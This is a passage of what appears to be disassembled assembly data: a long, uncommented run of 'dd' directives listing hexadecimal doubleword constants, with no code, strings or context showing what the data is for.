0E3BB067Fh, 7C448433h, 50CB5F58h dd 0B1F1C7DCh, 0F97F7C12h, 912BEAC7h, 22845D11h, 4A399971h dd 3A2BA71Bh, 9387960h, 0BBA8A1FDh, 2EC738F4h, 866FB632h dd 0F62571F2h, 53BF0A63h, 0E59A7A97h, 0A992746Fh, 0B5EFC639h dd 4FCDACBFh, 70BE494Eh, 2F558B4Dh, 6A000064h, 43234C1Bh dd 8C7AA695h, 0BB705B48h, 0C9681FAFh, 719069A0h, 0ACA2227Bh dd 0E3D5DD42h, 0D65DA33Eh, 0DEBA7C3Dh, 0EBF96200h, 5D4319D3h dd 0DBC43367h, 21640675h, 2F9DA1C6h, 84503AEDh, 3AFFD22Ah dd 76A5CDD3h, 72A51981h, 5DF5CE69h, 0BFFB45BFh, 9C65D355h dd 89EC0583h, 1EEFBB60h, 923782D3h, 0B50ECF06h, 1BDBFB42h dd 0C029A456h, 0BD42250Fh, 21EB60B7h, 0EF96D2E2h, 45A9D765h dd 0FA6B0B0Fh, 10A07A40h, 4D6554A9h, 36B48D20h, 0E9AC5F82h dd 806AD951h, 4D2624E7h, 40BCF0E6h, 0C6B25218h, 2DAA6740h dd 83C175B8h, 53A07B57h, 8590A6EBh, 0EEF864h, 0C7E6634Dh dd 0BFF58558h, 822441D1h, 7B632B27h, 46B7EBF6h, 717AD38h dd 66FE68F4h, 34F7A7CAh, 92AC224Bh, 0B13473F3h, 0F94AB9BEh dd 0BF1ADC6Bh, 4704C462h, 9BA047B8h, 33425B26h, 0D535729Fh dd 0EEC57BC2h, 0AEE9C4B1h, 897A876Eh, 1D6331F2h, 1B69CDEh dd 0D07E7EEFh, 0EBFD596Ah, 8AA6BFB6h, 0EC4302F8h, 1FF9E305h dd 42B78006h, 0E398B42Bh, 3A1963B4h, 3F7E736Ah, 40610CA8h dd 7E5EFDF6h, 0BE7DE598h, 478B6ACCh, 0B6CBA5F7h, 0DB5C0D1h dd 0EC07F6B4h, 3E6B57AEh, 34626124h, 0F7E05B40h, 0BC3AADBh dd 0C8CF9BEBh, 0E50BC755h, 0CDEBAA4Eh, 0FAE56A6Eh, 4FE3A609h dd 0E2F7D79Ah, 7D98D5Ah, 5679A77Bh, 86354696h, 717383A9h dd 81D1DC21h, 21531327h, 8A5FD10Eh, 0D21FA26Ah, 1C003935h dd 0D20CF95Eh, 0A1E786E1h, 9473D96Ah, 0EDC53AC3h, 839FED7h dd 2B9CDC8Fh, 986439C4h, 0E597FCE3h, 8DCC6CF8h, 0B5E1639Ch dd 267EC4DBh, 0B74292BDh, 34B18A6Dh, 381FE8A6h, 4026258Eh dd 0D9AF52C7h, 0A640B604h, 0E87DE345h, 641B0A4Ch, 0B9EA13A0h dd 9E81C997h, 0AD943D83h, 852347CDh, 0C7B2DA12h, 0B24DE19Ch dd 165D97A6h, 69F42EAAh, 2303CF3Eh, 0F0AEE632h, 0A75812DCh dd 0A26C26D6h, 3D59D72Eh, 46FE6621h, 0F298C17h, 0ED392CC1h dd 0F7F2ABFEh, 0E2F5F9E6h, 0A29AFB61h, 0F3068C4Dh, 5DEAFB52h dd 0C60820FCh, 0C0CB493Ch, 200151EEh, 17F27584h, 57402067h dd 2144E1Ah, 0AB718A08h, 85C78CAAh, 0BFA5FCE1h, 0CD22BBFh dd 89077279h, 0AE29EF85h, 767716BCh, 0D7019102h, 89322CD4h dd 0FA2EEB6Bh, 99017794h, 0C5064A86h, 14188788h, 90922E72h dd 7460836Ah, 0F7452F2Eh, 0CAFE726Eh, 0F0063D39h, 0EFE5C7A6h dd 38BBB44Ch, 28962225h, 0D54A6D39h, 1A8D63EEh, 26A45215h dd 0FBB69A03h, 0DBFC4B82h, 253AE988h, 0C349EC7Ah, 6F339D29h dd 0DC077F25h, 2DAD81D0h, 1B356788h, 0C0481872h, 9B7A23C2h dd 67242ADCh, 5C9C4673h, 307A860Eh, 6583B2ABh, 0CD37D53Dh dd 0DAD617A7h, 0B5D9E39h, 9B65A728h, 0DDB6BFABh, 487E74B8h dd 7C7BA2h, 521F1A9Fh, 0C767F8AAh, 0D0CBF23Ah, 913DF82Bh dd 358320h, 0ADAD6860h, 934870DBh, 34E607C0h, 0C7B7CF77h dd 0E505A65Bh, 11CF4C6Fh, 0F79CEFDDh, 0A0200FF5h, 5EE079ACh dd 3CE6883Fh, 0C625F2ACh, 0E959471Fh, 0D13823D3h, 536109EEh dd 418875B5h, 49192649h, 1B65E3h, 5DF7C757h, 9B10B4C7h dd 0C57F31C6h, 690657B6h, 14F9CA2Ah, 0D1D963Ch, 8C5F5BD3h dd 345FC23Ch, 0DB1D213Dh, 0E0BBA5DDh, 4132453Fh, 0C099620Bh dd 0CABBE4A2h, 0C75E834Ch, 5FADE446h, 0CE516D82h, 14228815h dd 0CCA1E924h, 3B88FDC7h, 7CDD6490h, 5FB3B89Fh, 0B929EF25h dd 7312F5CCh, 81C8B665h, 4B28F9A8h, 3542920Eh, 1AD2A1B8h dd 0B1A41400h, 0CD201DA2h, 0EC87282Bh, 917AC63Eh, 93219721h dd 0CD4F1D0Ah, 3568C970h, 46289DD2h, 11DA66E5h, 286642DEh dd 0A98558EDh, 5936F6C2h, 7012D945h, 1ACE38CAh, 0A3B6CE47h dd 0A1F67D0Ah, 207415B1h, 21473F10h, 670D5B4Ah, 0D8C4295Ch dd 0DCEC37F2h, 4DEC524Eh, 2AB25725h, 8C33C687h, 4F7C832Dh dd 3FC2096h, 0B4ADD61Fh, 47D604D6h, 55070342h, 0FAB86D75h dd 2E11ACA4h, 0E6182F97h, 85DDFEC4h, 0CA463973h, 0A1865C40h dd 0B3CF22CEh, 0A5D65024h, 0F841EAB6h, 0DE7A6067h, 0D6006E58h dd 91C9042Bh, 0ADF06210h, 0AA83A06h, 96EB3D5Ch, 77CE4BDFh dd 132AC6D5h, 0BFE3E7D8h, 12DFFE19h, 30C29634h, 879537D1h dd 0C7DA1E3Ah, 39707901h, 6DCC372Fh, 9F90FB08h, 6E354B01h dd 0A067281Fh, 9F86EBE8h, 802090D5h, 0D121BBA9h, 5828E21Ah dd 791C39F7h, 2DD2D6Ch, 6A8BAB89h, 0FFE69581h, 54047658h dd 0E7E74B38h, 21F47F57h, 0DC24D53Ah, 0D5989DFh, 66E040D1h dd 0FB821A57h, 0F90612B6h, 0CF39446Dh, 0DB2265BBh, 977063B4h dd 593C4B89h, 4B547FC7h, 29CC4C6Fh, 43D2AB01h, 8BEB5907h dd 0AA59763Dh, 224BE9D3h, 94C2900Bh, 99654F30h, 607DB127h dd 0E0519F7Bh, 0E3301F0Ch, 0CA5AD2E6h, 8902AFDFh, 0F5158785h dd 0ECCDD5C9h, 87EA552Eh, 9EF67826h, 82266649h, 40EFB3E0h dd 44521BB7h, 0DA841464h, 8E9BA79Eh, 73533EAh, 0DE8D82C7h dd 0DAA92E62h, 0E6B01041h, 9402BDDEh, 0C4329974h, 601622C0h dd 0FCB1F282h, 0AD161B1Eh, 26A5F665h, 0F86ABF35h, 579BA23Ah dd 0E5AE55E1h, 3FCAE87Bh, 0EF9F2863h, 4721B02Dh, 0DAB108B1h dd 8B460660h, 2FF142Eh, 6A7B6F91h, 76C702F4h, 9E2F5204h dd 0DB2BCDE6h, 6CF8ECFh, 0E5FA76F4h, 0A548E6F6h, 0C65364h dd 0A4F28381h, 0DE199C55h, 545A5BC1h, 2878F4F4h, 0E3C51C9Ch dd 30C0E4E4h, 0FD3C4856h, 0B1E1F51h, 64453D7Fh, 0D302965Bh dd 49E6184Fh, 7BDF6921h, 2898B9AAh, 1D7FB6B5h, 65C135F8h dd 465D2BEDh, 71ACD734h, 0CFE5B1C2h, 0C14F6A0Ch, 0BE82113Ch dd 0B11B15C7h, 0BECF6035h, 86A06AB7h, 93751E5Eh, 0C7B56A02h dd 40ACE221h, 6107AD89h, 9FD63ADDh, 6CFFD03Ah, 9085DD2h dd 9B603A4h, 0F0C26EA0h, 9C39D6D1h, 0B73ADCDFh, 5A730937h dd 3BCE3C26h, 0E59A6538h, 0B6DB0B94h, 0A1192425h, 0BA9E6CCDh dd 7ACA19F3h, 846989FEh, 0D403CAE2h, 54351EAFh, 8AAF6EF7h dd 2288A6E2h, 0CCF02CF6h, 9E25E5B4h, 0DD7F702Ch, 0A79063A4h dd 94EFA484h, 55F1E335h, 0AD770DA7h, 299CFA55h, 6AFC08CFh dd 0F7DE51C6h, 51FCF7F6h, 6CC62B91h, 59A45DA9h, 8BE9552Dh dd 0CFAB3D7Ah, 0BE90F09Fh, 0C061B389h, 19AF04B3h, 0A3BB8020h dd 114156D8h, 0F2DDAD76h, 37CDE704h, 24E7B5FEh, 768361E6h dd 0B806F014h, 1AE5EA32h, 0F08CA0ABh, 797F0B95h, 0C47F6F4h dd 27FD4D18h, 631D8E88h, 1DC9BCC6h, 74D1AC12h, 69A503A6h dd 0CCD3630Dh, 256FA98Ah, 3413D21Fh, 622DD610h, 8B82B072h dd 0C396817Dh, 80F7FBD7h, 62B3728Fh, 1689D10Eh, 0EA3A0D37h dd 0B1CEF878h, 7A26832h, 9DD46E93h, 9B09F24Ah, 3F501CBCh dd 0F8DF25BBh, 36EF1B11h, 19A6AB30h, 0DB281079h, 8F595827h dd 1A196812h, 3B9757ACh, 0FAB028Ch, 0F880FF91h, 0CDB6ECADh dd 86D3204h, 19FA4B87h dd 3237BCDBh, 0DD1FAFAEh, 0CE802255h, 0B556C315h, 0E1AF7C7Eh dd 8886D7F7h, 9869EC0Ah, 6D2F0AE5h, 226A77DFh, 588F9DE2h dd 0CDC368BCh, 3CEF6AB6h, 79723924h, 7F9435FCh, 0DCEA33C6h dd 0D3E64AD8h, 8F70B1A7h, 0AA412846h, 0CC0752C5h, 0D952F55Ah dd 0CC78C920h, 0DC4C1AA5h, 0F53731F0h, 97AD9F10h, 0E3E85520h dd 1CC7FA2Ch, 0D6B44E3Eh, 6F3963EFh, 3AE0230Fh, 789FD4BEh dd 1DEF1681h, 0D6C763Ch, 9CC58CCAh, 8F3466DEh, 0FA93623Bh dd 4DEA98C0h, 983381CAh, 9AFF2061h, 0EBFF4055h, 9286D9A4h dd 78354A8Ah, 33D3DA3Ah, 52AF0410h, 0C47B2967h, 695FDCF3h dd 9D540EDBh, 9E8DDE7h, 31B862EBh, 7E4480E8h, 8E18007h dd 47A24F74h, 869C7AACh, 1680A8FCh, 81869343h, 4AD21CB2h dd 0B697809h, 604DD6DFh, 5356BA81h, 4352A5F4h, 93A626DCh dd 33C8269Ch, 0B443FD73h, 0D7B5A488h, 0CA9322A0h, 4B55E023h dd 982F73BDh, 8C3787D4h, 0ABEBC419h, 5FD61A40h, 7CC6BFC2h dd 65366680h, 44DACBF0h, 0F3873E98h, 46C2DF15h, 503709Ah dd 67F3E68h, 575199FAh, 3B2AA2D3h, 8D3AC8F3h, 9CFE05AAh dd 5B06124Ah, 6301243Eh, 0AE2B281Ch, 0A2DA748Bh, 494B0C1Bh dd 8F34E20Fh, 16E00821h, 0E8E75E9Dh, 0DC85417Bh, 3B27C66Eh dd 0C934D99Fh, 15C878B7h, 0D0325363h, 0C4C08874h, 0A052D3CCh dd 1098A11h, 63B16F73h, 0E3029CB3h, 0F3C905FEh, 7868F246h dd 0F76E8D0Fh, 75737931h, 3D0135ECh, 5790E7EDh, 6620ABDEh dd 455E428Ch, 412D584Eh, 666998C0h, 1BBC02A0h, 952A39E5h dd 0BF3C8A4Dh, 6D65FC05h, 0AED2B459h, 826EA4F1h, 72A8DF37h dd 1169F63h, 2BA81B7Ch, 77298F50h, 0DA91CE43h, 91F86789h dd 0CE6B7084h, 0BFE6B92Bh, 12ED0F90h, 0DAC449D1h, 3F91FED4h dd 0E3EE9401h, 1010B488h, 3F1D9DD9h, 4F78E443h, 5F3EB81Eh dd 414BE96Dh, 996E8Dh, 51664491h, 0D742675Bh, 58F83299h dd 4DD9B2F6h, 3AD2005Bh, 38252294h, 0D5BF6C8Ch, 0CD88F0C7h dd 48F99758h, 205E450h, 0E9750A5Dh, 9A5FA70Ch, 62C43DFFh dd 31CB9AC5h, 93BF7198h, 0E87B37F8h, 9A68156Eh, 4BCC1748h dd 1C98CAF0h, 624456A7h, 4B14F9B0h, 0C6D4C6E1h, 4B3521ACh dd 71628EE2h, 1B624267h, 7FCD25AFh, 0B31062EAh, 93CEC024h dd 36CFCBB8h, 902774C0h, 0AF5C63CBh, 0AD1F2E11h, 113ADC5Ch dd 7C367082h, 0EE82552h, 4F0E960h, 1A1C2563h, 5F791025h dd 8C530022h, 42B777D1h, 12B953A4h, 41F4369Eh, 0B522904Eh dd 0EB46EDD0h, 416C77EFh, 5668D980h, 8A0BD8ABh, 0ACDC8DFCh dd 23218CFDh, 8D118FFDh, 0BE7C1B7Dh, 0B5F3D9C1h, 0EEBC2D4Dh dd 14D92443h, 19ED45FEh, 0D698D2F9h, 61752905h, 80F03040h dd 0DB1C0B63h, 881B5074h, 76A85A0Bh, 0CEB4D2DEh, 69170783h dd 0C57A772Eh, 0D5CE8E5Fh, 1ECD99DEh, 0AFC3EFE4h, 0F4DF96B8h dd 116C3DFAh, 0BED55273h, 0D3AD26CFh, 0E3656BDFh, 19DDB527h dd 0F3D79737h, 81C5BE05h, 56785BBEh, 127C0C40h, 8F3B4EF3h dd 0EBD69834h, 0AD648D82h, 884783DCh, 254A85BBh, 0F48E14BDh dd 8747C65Bh, 0E125F960h, 0E4754293h, 42ACD2E3h, 6D54EFAh dd 0BF2ED20Ch, 0C7840452h, 4D84D7Ah, 6D0CEDFBh, 5C70FE3Bh dd 18446A58h, 0F986972Eh, 21D0B0A7h, 0E438DD18h, 20C398C7h dd 6B7851D3h, 0F5FEEF0Ch, 59B914E4h, 2ED81EB1h, 72D7C913h dd 0A3AFF33Bh, 4D6F1FD9h, 481AF6B4h, 0DE545F1Dh, 0E9222D47h dd 0E04F6758h, 0E77E3F40h, 0FB4F967Fh, 8C71D38Ah, 0E50B19D9h dd 0E581B6CDh, 9A9446D3h, 8456662Ch, 0E1D1EA15h, 77FA09CCh dd 2557F9BEh, 10D1FF9Ah, 901ACC85h, 0A86C9823h, 7789B40Dh dd 3A30649Dh, 0E650533Eh, 295F3488h, 0FE178761h, 626ACEE0h dd 0C4921C96h, 0F820D49Bh, 3A649742h, 0A0B4F25Ch, 0D5D168A0h dd 5B35219Bh, 355A9FBEh, 0ED24DDD8h, 56EE2917h, 0B404DA91h dd 0F08C0F1Eh, 5F5E7116h, 9C08B75Bh, 184493F6h, 0A1B3A5A7h dd 0DF8C918Dh, 14479B25h, 65970158h, 94668E85h, 0ECB71FDEh dd 4BE6E4F8h, 0B68916FAh, 0C75B35F2h, 0B604A3F1h, 4E1C900Ah dd 378DA1D2h, 7094D3EDh, 0CF56B9D4h, 50E34161h, 0D5BBA0FCh dd 0F7F73EC6h, 0F0A91E15h, 44EE4D7Eh, 0BED3A6DDh, 73F39EEAh dd 0DB650ACEh, 582E36EAh, 4671AF25h, 3B902DBBh, 0F2C5A365h dd 0C0BC0C94h, 0AC8B4035h, 4265D85Fh, 9D5119BFh, 4D64F25Fh dd 1A69377h, 0F6E1A1A6h, 2743732Ch, 3AC4B11Ah, 30904E94h dd 2AE07B35h, 6CA23871h, 0D214A226h, 0B137187Ch, 0F5A2F9EDh dd 0D3EDB3D1h, 84169252h, 0DE295C07h, 0D26B388Ah, 9C439A1Eh dd 8ABF045Ah, 0FB5E6ABAh, 97EFC0Ah, 9BC98375h, 1492D9AAh dd 0BADC3ECh, 132C5991h, 6AFC7A59h, 0A440C36Bh, 88FAE0B8h dd 8337250Ah, 5CDCAFFFh, 0B8C6C6C4h, 1390637Dh, 5A7E98A3h dd 4FB4F6DBh, 49B11814h, 6D4DF7EBh, 9AFB395Ah, 0C89DE52h dd 36B598DBh, 1B998A5Dh, 457DBF27h, 43AC5FFBh, 0D5C58E67h dd 0B75BF71Ah, 3B3B3E7Ch, 1B1050DFh, 0BED6662Ch, 0CB5CDFF9h dd 620699A3h, 7915CCFBh, 8486A38Ch, 0CC078997h, 0B6156A10h dd 3B1D6C49h, 0D5D34D17h, 13C1C6C3h, 0C5A7E718h, 2B6B9B98h dd 5EAF40C3h, 2B8D44D1h, 0CB36DAFFh, 0B86EF377h, 0F4179AC7h dd 7EA5C1D2h, 79C018EFh, 0ABBA9D5h, 4A4F1FB3h, 918F7112h dd 0E7717F9Ch, 0D73340C6h, 3AE4B4h, 3F2E30D7h, 2E849468h dd 38A10CCBh, 0C46C5142h, 85E4BFD5h, 0E39B541Bh, 0C029040Dh dd 7BADA2F1h, 514C964Ch, 40E72085h, 16B498D0h, 0E8EAEB53h dd 0B00F5FB4h, 262AA667h, 0EDDFFB96h, 3E1871D4h, 59A0D042h dd 0FE3A92F2h, 0EEFD269Bh, 4473882Bh, 0AB1D9567h, 85EF40h dd 1CD65944h, 0DF713650h, 0D830E421h, 3A12C144h, 0A7BDD990h dd 745339A3h, 9DDEA067h, 0F05CA8Bh, 5F8118D9h, 0F4417178h dd 0D7292EFFh, 0D1A92569h, 0DDF98E37h, 0C3A932EBh, 60AF7BD2h dd 0A1E8CCBCh, 0EEB1ADC8h, 5FF360h, 402B8A17h, 99307D5Ch dd 46D9DFADh, 0DE7689A4h, 0E8684D81h, 4309ACB4h, 9B7169A7h dd 28E0BD5Dh, 136CC18Fh, 9D2CFC0Dh, 3B92724Dh, 476B2AE2h dd 0D80A13C4h, 1C52819Bh, 24503A8Ah, 93829003h, 9A181F7Ch dd 3C1DC86Dh, 2E682BBCh, 0AE9EA04Ah, 0D450F50Eh, 555D98B8h dd 0A45A8B41h, 1FBA2C2Fh, 0CCD401E9h, 6F2023A4h, 0F7D70E88h dd 0CCFA459Ch, 84E4A029h, 0A042C5Fh, 701E340Dh, 0D4CB5485h dd 98A04609h, 306505E7h, 0F954FB4Ah, 57771143h, 1DB81D48h dd 9B81E639h, 7AE1E3F7h, 0B2A0F41Eh, 0BE22E619h, 0B360DD6Dh dd 397F5B6Dh, 6263511Ah, 75C255A8h, 0ADC10161h, 70888217h dd 9BDFB268h, 0D563CFB9h, 0D634DB5Dh, 0C74457ACh, 0B2F8A4BAh dd 0EF651B17h, 181AA28Ch, 0A12170CEh, 0AFC1C5D3h, 89181942h dd 0D4E2C612h, 0D6EDDDECh, 6624ECB8h, 0F9228DDBh, 708AA9E2h dd 9132962Bh, 0B40E63BBh, 5E176EE3h, 1D13C6DFh, 20494D24h dd 4FB55DD5h, 2AB59743h, 0D1B3ECADh, 82775AC4h, 0AB554A4h dd 95B20352h, 96041ABAh, 879B0426h, 990955DCh, 18F55829h dd 0A51712F5h, 0A7A87D77h, 0BB509AE7h, 0DD3C52EEh, 53A54E0Ah dd 0BB747459h, 18672654h, 0B78A62E4h, 0DB596E4Ch, 9E537D50h dd 7A403D4Eh, 69F7279Dh, 5FC800E7h, 73FE6967h, 2E6537ADh dd 0BD700AB5h, 658BD7E9h, 9993ED3Ah, 372AD786h, 0E935E8FAh dd 0C7838A87h, 0AED16183h dd 5F1F5355h, 4E547940h, 2A2E4E56h, 0E3206166h, 5CC029Eh dd 0DDEAA778h, 2C2438E7h, 629A6B41h, 33E3E272h, 0F01B3C6Bh dd 4D9470EDh, 57C94750h, 3833DF5Ah, 5F5AAEC8h, 0AD71DD6h dd 746E7CB0h, 65192C38h, 0F9F1F183h, 2D162F1Dh, 7A2CB045h dd 0F90A14BFh, 39F14FE2h, 0B26AF15Ah, 234C3778h, 4C7F6D04h dd 0F4DBFC30h, 12980D60h, 0DA9A285Fh, 64A5FB93h, 32E15E66h dd 6F8D0CCEh, 1F690C72h, 12773F46h, 0B82A60D1h, 52591F56h dd 86E0062Bh, 0AB8D8776h, 20A4B9F1h, 632DEA52h, 3DADB457h dd 69BF67F6h, 0CAD286B7h, 0BD02857Eh, 99D66E29h, 2EE14320h dd 0F1536B06h, 9CAFE5A0h, 7EC70B63h, 4453F0A7h, 5D8007BEh dd 0A97C16D5h, 4F7B5E4Bh, 0A63D11Bh, 0B9E96A5Dh, 5706560Fh dd 0ED8E197h, 88668A2Fh, 6673CDF8h, 0DE0BAB44h, 0B2406B77h dd 4882F6Bh, 701DD1EEh, 0B5E1D302h, 0D4C229DEh, 6ECAE72Dh dd 4071AB29h, 4AF9730Bh, 1FE46BF1h, 9437858Ah, 7ECC892Dh dd 2C0FCF2Ch, 0B62B3BFDh, 2E5026E5h, 13FAA0h, 86B35BD7h dd 0C85A34F9h, 0B33AE715h, 7BC36C6Eh, 0C569E222h, 83FF7118h dd 15377472h, 0B5F34174h, 3049A98Fh, 0B565C884h, 62B92908h dd 46B5B962h, 31550B31h, 0ECE0FABh, 79B8C74Bh, 0B45EE75Fh dd 0CA1FF17Fh, 9A0D4204h, 7B8DCF27h, 0B960483Fh, 3419166Ch dd 0FF9C746h, 50ECD8BBh, 845184F4h, 0EC63A5FDh, 9F01C470h dd 9D3D1AECh, 87C5A974h, 1A56D588h, 0C811E5D5h, 2E21BE64h dd 4C0011E2h, 5A37D2CAh, 0EEFD287Ah, 469E47D1h, 8F19CB2h dd 2B66A076h, 0EF992C11h, 0F7CF1C6Eh, 246E2026h, 0C9B3456Fh dd 19E8947Dh, 0C7C48AE9h, 1256CB97h, 782B7E50h, 0E9CDB7Bh dd 89259A17h, 786A2853h, 47D51B95h, 8A4320A5h, 0A3E8DE6Ch dd 521ABDD5h, 0D3FC2522h, 61682199h, 89D7E3AFh, 0DEE82C8Fh dd 0CC1F6847h, 0F327D928h, 0A813EF25h, 68F09767h, 920DC1EAh dd 0FA8205D3h, 132E7302h, 13435AB0h, 6C142484h, 958500FAh dd 4DD1D155h, 360D2C23h, 89A8FC15h, 0B1ADBFF4h, 7FF77366h dd 4E410705h, 318D74DDh, 0F7136B32h, 95AD3E19h, 0C9B616D1h dd 3428870Ch, 93A7163Bh, 820E232Eh, 0E2853468h, 0E3B6CDDAh dd 41FF1DDDh, 4FE65412h, 6EF59245h, 0FA9CA129h, 71FC064Ch dd 574B16A7h, 3DF3389Ch, 5BD60A22h, 3850DFFEh, 1A2D1677h dd 4ED3F707h, 18183A15h, 8C0730EDh, 750E7312h, 0B18AC72Dh dd 991E390Dh, 1520BAE2h, 9FC398C5h, 5DBED7D7h, 4D4DA34h dd 0AA1B9D44h, 741660DCh, 237F92E3h, 720108ADh, 0ADCB8608h dd 60AA6278h, 54C3F547h, 0C9E32904h, 9A461539h, 0ACA8D62Bh dd 0A228D91Eh, 81A1AD91h, 6279B9EAh, 0AFF64560h, 0D50A02D4h dd 0CDC8D88Ch, 721DD3D0h, 7725D9A2h, 2F1F8C01h, 692F39B8h dd 6A4B2F72h, 0FA991903h, 2C5271B6h, 0F46D0DB6h, 4A36CA68h dd 0C806C2F7h, 0D66FBD3Eh, 443D62D8h, 0ED762C3Bh, 3934CC31h dd 461C2D87h, 8BD835ABh, 0C0439C53h, 285E3D0Bh, 0B78EC56Dh dd 0F2A11A3Ch, 40396D0Eh, 0A3EE0726h, 0CDF00316h, 74109605h dd 6525A9EDh, 2063ACC6h, 0DAAEF143h, 0B1E18FC3h, 0B3E17C0Dh dd 4A197D21h, 1EF05295h, 0D58E448Eh, 0BD5F7239h, 0DBFEA333h dd 330C2CBFh, 0E839963Ch, 50FAFEC5h, 0D61FF9CEh, 0B13DAA9Ch dd 756FC843h, 4824F2DEh, 76132E4Fh, 35A5CB0Ah, 0EB640BB1h dd 0DB86DADAh, 82AB91E5h, 61A94E8Dh, 8011C596h, 2F5FBECh dd 700E6D4h, 0E9F7FF8Eh, 74F3B579h, 3D1063Eh, 0D7BB4FECh dd 27CFE1C0h, 8F92AC3Fh, 4AD1634Ch, 790415Ah, 2DCA348Ah dd 840A7013h, 7A204D25h, 60821195h, 0E0D19FECh, 3620C1DCh dd 5A45B3C7h, 0F77D124Ah, 0ECA227FBh, 25C790A3h, 60FAB7D5h dd 0F84BB66Ah, 1159E00Fh, 0F203A9E8h, 50571710h, 70E7813Fh dd 6F6786EFh, 0CC699E70h, 0F2FC38D2h, 26DB3DF8h, 0EEC22F5Eh dd 0CA75E376h, 0E1CEA4EBh, 0C6BC83F9h, 0E2417106h, 6BBAB72Fh dd 2E2F05Dh, 9FF4815Eh, 88454C9h, 134330A3h, 0A51811C9h dd 0BA0B17C6h, 7A195A73h, 15C619B9h, 0C2C103A0h, 46AED8EBh dd 426D3447h, 0EE427DBFh, 0A29E03E3h, 8B5A6897h, 2F651423h dd 1B2C9DE6h, 4D233D8h, 79E3AEF6h, 0BBFA36F4h, 0CAD98D68h dd 0FCB91F89h, 5A5803F9h, 90774F33h, 99A7E83Fh, 1AF15DD6h dd 3EB35C9Fh, 0E8FC7FAEh, 0D62CD69Eh, 6733FF9h, 0E508B45h dd 0A915279Bh, 831CC2D7h, 0F435B48Bh, 0D95B5A7Ch, 50B272B2h dd 2B5E2774h, 689FEED6h, 77531B06h, 9EB11A9Dh, 0CD34E898h dd 0CB4C5238h, 85A3F808h, 70DB15FAh, 703A7118h, 0F81DF340h dd 3999D4B9h, 807FB09h, 3974D3FBh, 0F39160C9h, 7B226EC0h dd 330C4ECBh, 8C3E52E6h, 8ABF99A7h, 574053h, 8FCB8C79h dd 59D79B7Ah, 985CF928h, 0BCFBD66Fh, 0D99C6A92h, 0A2CAF498h dd 0B018D10h, 0DFA62D70h, 0DF8E7990h, 10D5E249h, 0DD3E541Ch dd 86DDE998h, 0DD2CC879h, 3B60BC4h, 42AA3A60h, 7F2E7A36h dd 5BADAFABh, 5E41D084h, 67AC4EDCh, 6E800DC5h, 3770866Dh dd 67CC44F6h, 8791E43Ch, 0CECCE016h, 551BC97Bh, 0F81B4E7Fh dd 0C211623Dh, 7019B89h, 489D1409h, 9907DD80h, 9B622311h dd 8353FA42h, 27EF73A6h, 5E7634CCh, 649226F0h, 37779DFAh dd 9CD5429Eh, 59910FB9h, 52B54E36h, 0CBE4AA77h, 0BBF91C49h dd 2D086589h, 0B725A025h, 5D6B429Dh, 6BF95636h, 50214F9Bh dd 0E2F05E88h, 0E4A2C542h, 0D99F028h, 0A7BE339Dh, 64859210h dd 0DB93EDA1h, 12F48B8Ch, 0FCFCBC7Bh, 85D73236h, 1E670E8h dd 0D056BADEh, 4CAA25BCh, 7BF6A904h, 50A9A98h, 5DCB7AAFh dd 5C4745CBh, 616F5599h, 0C6973754h, 0EC560B65h, 533525F2h dd 26EA462Bh, 0D99E95C9h, 0FED59AD3h, 0C3495F83h, 0FFBCF209h dd 9EC3A4C4h, 0D1DA214Ch, 4B62488Ah, 8344288h, 79487B4Dh dd 3DF6381Eh, 824C97Bh, 0FE818456h, 0AD9C6985h, 0DB556C90h dd 7C05A12Bh, 2BC0D779h, 25E34B26h, 193C6E91h, 4C774252h dd 4D866FCAh, 0ED17E078h, 26F8AA51h, 3DDDB0F2h, 0E8F5DB3Ch dd 1B51DA18h, 106B0E15h, 28A9977Eh, 51DA8B4Dh, 7BC7639Ch dd 46425A0Ch, 24A56F9h, 3F786C4Eh, 1CA12112h, 0D4042203h dd 2101D303h, 3AA6AEEDh, 90248CCFh, 4DE1D938h, 0EA4E02F9h dd 0CD4A686h, 204A3849h, 70B3EB0Fh, 4B6AA3EDh, 0BB82B3A8h dd 0EC8D320Ah, 2D6A4609h, 659531ABh, 104E6989h, 0D749394Ah dd 8FCF432Bh, 1B8AA586h, 0F3C8B522h, 3D424F29h, 43BEA640h dd 0D46E9B90h, 69D75F96h, 0E4E140A1h, 0BE209FCAh, 0B6963795h dd 46FB9D34h, 8757E3C0h, 0D3E400F5h, 3A044A9Dh, 0F71510B5h dd 8B49609Ah, 630C9B36h, 565D393Ch, 2D0CD89Ch, 0D06F3C3h dd 12BB7497h, 0C53E5D7Eh, 4A9B91BDh, 633117ADh, 0CAD749EFh dd 71C88682h, 57273D45h, 68948820h, 6E088772h, 8AC11BEDh dd 8BC7B37Eh, 59969CA8h, 0DA67AEEFh, 1A4557CFh, 0B3E1CA1Fh dd 4430266Ah, 54593354h, 51D6C43Dh, 5246A294h, 0DA322E12h dd 0C66AAEF0h, 671A3045h, 422B50F3h, 3155C668h, 0EE32BE26h dd 9C1F606Ch, 4D828D0Eh, 3081DC4Dh, 3E967B6Eh, 71464EBCh dd 4521FE47h, 0E92D1E0h, 9464F531h, 1DA449F0h, 125683D2h dd 20512CD2h, 0B32BD79Eh, 490A560Ch, 9F2B2A17h, 356ADA5Ch dd 0B63B4E8Bh, 0E4A33064h, 93067667h, 0AC355231h, 72748865h dd 180031AAh, 9D89D443h dd 89580EC8h, 0FCFC9DA6h, 0A0A849DCh, 7CA2452Dh, 31D9ED50h dd 0BAB691C9h, 8867B37Fh, 0B229CDD3h, 0EBB1CC57h, 0C276DBDDh dd 0A8E44349h, 48F1591Fh, 4C3A6EA0h, 632A0928h, 481E1BCBh dd 0E82835ABh, 67B62B3Bh, 6CFAD26Ch, 9786798Ch, 617F256Eh dd 34C4EFD6h, 297B923Ch, 51F7CD8Bh, 6F3D61F4h, 5FAB6ABFh dd 186778F1h, 0B97DCBEDh, 0CE786E8Eh, 0BBE4863Eh, 0C7FE8A21h dd 6D1A7B9Ch, 7341B59Ch, 65F19177h, 31AA9306h, 6F9BE70Eh dd 7A5296Dh, 0E1A8D707h, 0B99DB02Dh, 0A9537668h, 1FDBD80Dh dd 62CC2CBDh, 41002DD8h, 3F3113FFh, 67D7E494h, 73DC5512h dd 0C3E4166h, 0F382C5C7h, 0D708AD06h, 0B585CA5Eh, 172E1275h dd 67DB1D70h, 1BD0BB1Fh, 6E62BBE7h, 0D7AA62B8h, 59D265E6h dd 2A6782h, 48CFFB65h, 0B7531A4Ah, 0B35A6F4Dh, 1699E090h dd 7DE6B82h, 0A6481EC1h, 0F95DFA9Bh, 2A64E6C8h, 884C88E1h dd 0FD6B307Dh, 543C1510h, 9B01D07Ah, 